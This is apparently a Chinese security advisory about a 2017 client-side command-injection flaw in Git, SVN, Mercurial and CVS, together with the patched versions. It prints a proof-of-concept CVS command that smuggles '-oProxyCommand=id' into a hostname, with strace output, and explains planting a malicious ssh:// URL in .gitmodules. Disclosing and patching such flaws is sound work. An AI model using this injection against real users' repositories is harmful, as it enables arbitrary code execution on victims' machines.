前言
世界各地的程序员请注意,现在必须立即更新你的版本控制系统,Git、SVN、Mercurial开源版本控制系统近日修复严重安全漏洞,未及时升级,则会受到该漏洞的影响。
多款主流版本控制系统存在客户端任意代码执行漏洞
三款主流的源版本控制系统Git、Subversion (svn)、CVS、Mercurial,今日发布了更新补丁,修复了一个客户端代码执行漏洞。
该漏洞由GitLab的Brian Neel,Recurity Labs的Joan Schneeweiss和GitHub的Jeff King发现和报告的。
应用于Linux kernel、GitHub和Gitlab背后的开源版本控制系统Git。今天发布了多个更新版本,Git v2.14.1、2.7.6、v2.8.6、v2.9.5、v2.10.4、v2.11.3、v2.12.4和v2.13.5,用于修复该漏洞。
“此次更新修复了编号为CVE-2017-1000117的漏洞,与Subversion和Mercurial的维护者发布的相似,都存在这个类似的问题。”Git维护者Junio Hamano在邮件列表中写道。
通过-o选项的SSH命令注入,同样影响CVS 1.12.x !
可以配置CVS通过SSH访问远程仓库,比如设置CVS_RSH=ssh,这样的话,只要指定以-o开头的hostname就可以触发
$ strace -f -e execve cvs -d '-oProxyCommand=id;localhost:/bar' co yada 2>&1 | egrep id
execve("/usr/bin/cvs", ["cvs", "-d", "-oProxyCommand=id;localhost:/bar", "co", "yada"], 0x7ffe69f75a68 /* 139 vars
*/) = 0
[snip]
[pid 20003] execve("/usr/local/bin/ssh", ["ssh", "-oProxyCommand=id;localhost", "cvs server"], 0x5fb1fc8420 /* 141
vars */) = -1 ENOENT (No such file or directory)
[pid 20003] execve("/usr/bin/ssh", ["ssh", "-oProxyCommand=id;localhost", "cvs server"], 0x5fb1fc8420 /* 141 vars */)
= 0
[pid 20004] execve("/bin/bash", ["/bin/bash", "-c", "exec id;localhost"], 0x32af5f10d0 /* 141 vars */) = 0
[pid 20004] execve("/usr/bin/id", ["id"], 0xec92226ae0 /* 141 vars */) = 0
[pid 20004] +++ exited with 0 +++
[pid 20003] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=20004, si_uid=3612, si_status=0, si_utime=0,
si_stime=0} ---
ssh_exchange_identification: Connection closed by remote host
[pid 20003] +++ exited with 255 +++
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=20003, si_uid=3612, si_status=255, si_utime=0, si_stime=0}
---
漏洞利用
该漏洞需要结合一些社会工程学技巧才能更好的利用。
Git在其公告中警告:“恶意的攻击者可以向受害者发送一条精心构造的ssh:// URL链接,当受害者访问这条URL则会触发漏洞导致执行恶意代码”。
攻击者通过精心构造一个"ssh://…"URL链接发送给受害者,如果受害者访问了这个URL,则会导致恶意指令在客户端执行。
恶意URL可以放在项目的".gitmodules"文件中,受害者执行“git clone –recurse-submodules”则会触发该漏洞。
Apache Subversion(SVN)1.9.7修补了CVE-2017-9800问题,它与Git中修补的内容是类似的。
“在svn:externals和svn:sync-from-url中通过构造恶意svn+ssh URL则会导致客户端任意代码执行”在此次SVN更新中修复了该安全问题。
开源的Mercurial版本控制系统在4.3和4.2.3修复了该漏洞,漏洞编号为CVE-2017-1000115。
漏洞利用演示截图
from 360cert
参考链接
http://blog.recurity-labs.com/2017-08-10/scm-vulns
https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg1466490.html